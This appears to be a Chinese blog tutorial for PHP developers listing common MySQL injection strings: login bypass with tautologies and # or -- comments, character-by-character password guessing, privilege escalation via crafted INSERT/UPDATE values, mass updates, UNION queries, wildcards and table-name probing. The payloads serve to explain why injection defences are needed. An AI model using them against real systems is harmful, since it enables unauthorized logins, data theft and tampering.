(1)不用用户名和密码

1 //正常语句

2 $sql =”select * from phpben where user_name=’admin’

and pwd =’123′”;

3 //在用户名框输入’or’=’or’或 ‘or 1=’1 然后sql如下

4 $sql =”select * from phpben where user_name=’

‘or’=’or” and pwd =” “;

5 $sql =”select * from phpben where user_name=’

‘or 1=’1′ and pwd =” “;

这样不用输入密码。

(2)在不输入密码的情况下,利用某用户。

1 //正常语句

2 $sql =”select * from phpben where user_name=’$username’

and pwd =’$pwd'”;

3 //利用的用户名是benwin 则用户名框输入benwin’# 密码有无都可,

则$sql变成

4 $sql =”select * from phpben where user_name=’ benwin’

#’ and pwd =’$pwd'”;

这是因为mysql中其中的一个注悉是“#”,上面语句中#已经把后面的内容给注释掉,所以密码可以不输入或任意输入。网上有些人介绍说用“/*”来注悉,小编想提的是只有开始注悉没结束注悉“*/”时,mysql会报错,也不是说“/**/”不能注悉,而是这里很难添加上“*/”来结束注悉,还有“– ”也是可以注悉mysql 但要注意“–”后至少有一个空格也就是“– ”,当然防注入代码要把三种都考虑进来,值得一提的是很多防注入代码中没把“– ”考虑进防注入范围。

(3)猜解某用户密码

1 //正常语句

2 $sql =”select * from phpben.com where user_name=

’$username’ and pwd =’$pwd'”;

3 //在密码输入框中输入“benwin’ and left(pwd,1)=’p’#”,

则$sql是

4 $sql =”select * from phpben.com where user_name=

’ benwin’ and left(pwd,1)=’p’#’ and pwd =’$pwd'”;

如果运行正常则密码的密码第一个字符是p,同理猜解剩下字符。

(4)插入数据时提权

1 //正常语句,等级为1

2 $sql = “insert into phpben.com (`user_name`,`pwd`,

`level`) values(‘benwin’,’iampwd’,1) “;

3 //通过修改密码字符串把语句变成

4 $sql = “insert into phpben.com (`user_name`,`pwd`,

`level`) values(‘benwin’,’iampwd’,5)#’,1) “;

5 $sql = “insert into phpben.com (`user_name`,`pwd`,

`level`) values(‘benwin’,’iampwd’,5)– ‘,1) “;这样就把一个权限为1的用户提权到等级5

(5)更新提权和插入提权同理

1 //正常语句

2 $sql = “update phpben set `user_name` =’benwin’,

level=1″;

3 //通过输入用户名值最终得到的$sql

4 $sql = “update phpben set `user_name` =’benwin’,

level=5#’, level=1″;

5 $sql = “update phpben set `user_name` =’benwin’,

level=5– ‘, level=1″;

(6)恶意更新和删除

1 //正常语句

2 $sql = “update phpben set `user_name` = ‘benwin’ where

id =1″;

3 //注入后,恶意代码是“1 or id>0”

4 $sql = “update phpben set `user_name` = ‘benwin’ where

id =1 or id>0″;

5 //正常语句

6 $sql = “update phpben set `user_name` =’benwin’ where

id=1″;

7 //注入后

8 $sql = “update phpben set `user_name` =’benwin’ where

id>0#’ where id=1″;

9 $sql = “update phpben set `user_name` =’benwin’ where

id>0– ‘ where id=1″;

(7)union、join等

1 //正常语句

2 $sql =”select * from phpben1 where `user_name`=

’benwin’“;

3 //注入后

4 $sql =”select * from phpben1 where`user_name`=

’benwin’ uninon select * from phpben2#’ “;

5 $sql =”select * from phpben1 where`user_name`=

’benwin’ left join……#’ “;

(8)通配符号%、_

1 //正常语句

2 $sql =”select * from phpben where `user_name`=

’benwin’ “;

3 //注入通配符号%匹配多个字符,而一个_匹配一个字符,如__则匹配两个字符

4 $sql =”select * from phpben where `user_name`

like ‘%b’ “;

5 $sql =”select * from phpben where `user_name`

like ‘_b_’ “;

这样只要有一个用户名字是b开头的都能正常运行,“ _b_”是匹配三个字符,且这三个字符中间一个字符时b。这也是为什么有关addslashes()函数介绍时提示注意没有转义%和_(其实这个是很多phper不知问什么要过滤%和_下划线,只是一味的跟着网上代码走)

(9)还有很多猜测表信息的注入sql

1 //正常语句

2 $sql =”select * from phpben1 where`user_name`=

’benwin'”;

3 //猜表名,运行正常则说明存在phpben2表

4 $sql =”select * from phpben1 where`user_name`=

’benwin’ and (select count(*) from phpben2 )>0#’ “;

5 //猜表字段,运行正常则说明phpben2表中有字段colum1

6 $sql =”select * from phpben1 where`user_name`=

’benwin’ and (select count(colum1) from phpben2 )>0#'”;

7 //猜字段值

8 $sql =”select * from phpben1 where`user_name`=

’benwin’ and left(pwd,1)=’p’#””;

当然还有很多,这里提出这些都是比较常见的,也是phper应该知道并掌握的,而不是一味的在网上复制粘贴一些防注入代码,知然而不解其然。

 END

|  More ·精彩回顾 |

乡村网络安全意识培训专题会议成功召开

2020年需要关注的七个新增/热门网络安全认证

教育部:网络安全等16个领域纳入国家安全教育,大中小学全覆盖

常见的通配符_技术干货 | 常见的mysql注入语句相关推荐

  1. 电脑常见故障排除_中央空调常见故障解析

    一.中央空调故障解析与维修 1.机器露点温度正常或偏低,室内降温慢产生原因及解决方法 ① 送风量小于设计值,换气次数少,请检查风机型号是否符合设计要求,叶轮转向是否正确,皮带是否松弛,开大送风阀门,消 ...

  2. python 自动化运维 读取交换机数据_技术干货|数据中心自动化运维技术探索之交换机零配置上线...

    近几年来,互联网行业处于一个快速发展的快车道,一个又一个风口不断地涌向周边行业.共享单车的出现解决了人们出行***一公里的问题:新零售概念的提出,无人货柜的出现,更是将线上和线下的数据打通,优化了人们 ...

  3. dll oem证书导入工具_技术干货 | 恶意代码分析之反射型DLL注入

    欢迎各位添加微信号:qinchang_198231   加入安全+ 交流群 和大佬们一起交流安全技术 01 技术概要 这是一种允许攻击者从内存而非磁盘向指定进程注入DLL的技术,该技术比常规的DLL注 ...

  4. python拼接sql语句_【Python】拼接MySQL常用语句

    import pymysql class MK_sql (): """ 构建mySQL常见语句:增删改查排序 """ def __init_ ...

  5. mysql 创建索引 终止_技术分享 | 常见索引问题处理

    作者:EneTakane 数据库技术爱好者,爱可生 DBA 团队成员,负责 MySQL 日常问题处理以及数据库运维平台的问题排查,擅长 MySQL 主从复制及优化,喜欢钻研技术问题,还有不得不提的 w ...

  6. 低压抽屉柜常见故障处理方法_低压配电设备常见故障分析,处理办法介绍

    低压配电线路作为配电网络中主要的一部分,在其运行的过程中直接影响着人民的生命财产安全.配电线路是电力输送的终端,对于提高电力质量有着至关重要的作用.但由于配电线路走径的复杂性,人为因素和设备因素,都会 ...

  7. 生活中常见物联网实例_物联网网关常见问题解答(一)

    1.为什么物联网解决方案需要网关? 物联网网关弥合了设备,传感器,设备,系统和云之间的通信鸿沟.通过系统地连接云,物联网网关提供了本地处理和存储,并具有基于传感器输入的数据自主控制现场设备的功能.物联 ...

  8. 完整性校验用到常见的算法_几种常见的校验算法

    素材来源:网络 编辑整理:strongerHuang UART有一个奇偶校验,CAN通信有CRC校验.Modbus.MAVlink.USB等通信协议也有校验信息. 在自定义数据存储时,有经验的工程师都 ...

  9. 常见的通配符_8、数据库常见操作

    数据库常见操作 增 删 改 查 条件 通配符 限制 排序 分组 连表操作 测试题 测试题 临时表 数据库常见操作 增 insert into 表 (列名,列名...) values (值,值,值... ...

最新文章

  1. php 字符 hash_php常用hash加密函数
  2. MySQL的恢复脚本
  3. bash: 未预期的符号 `( 附近有语法错误_鲜鲜历史丨石榴:好吃颜值高,还是个文化符号...
  4. Hazelcast集群服务(2)——Hazelcast基本配置
  5. Redis高级项目实战!北京java编程入门培训
  6. Java笔记-Spring Boot SSL(https)实例
  7. 如何关闭文件服务器的同步,文件服务器同步
  8. asp.Net下短信猫发送短信中的中文乱码解决
  9. 从技术到求职,强烈推荐一下这9个牛逼的公众号,技术人必备
  10. android项目中如何导入model
  11. 如何破解加密的PDF文件
  12. Hi,这是一个普通Android开发的2021小结
  13. 2021级天狮学院经济管理学院市场营销专升本专业辅导员及新生群
  14. 互联网赚钱:普通人月入上万的秘密,连载1
  15. 文件夹选择对话框 JS实现的两种方案
  16. vmware exis如何设置双网卡
  17. 学无止境,笔不停耕----写博客两周年的一些感悟
  18. Unicode和GB2312编码表并转换为ASCII字符
  19. 博客开篇 : 温故而知新
  20. Thinking In Design Pattern——工厂模式演绎

热门文章

  1. VPP 安装配置工具vpp-config
  2. pandas创建和文件读取笔记(一)
  3. idea的maven调用本地仓库的jar报错
  4. oracle数据库标志物,Oracle表的分类以及相关参数的详解
  5. c语言超市账务管理源代码,C语言 超市管理系统源程序.doc
  6. Timeline窗口详解
  7. [Unity2018.3新功能]Prefab嵌套和变体
  8. anaconda中安装xgboost_在windows64位Anaconda3环境下安装XGBoost
  9. OpenShift 4.5 新特性 - 创建任务和定时任务
  10. Abp vnext 授权(Authorization)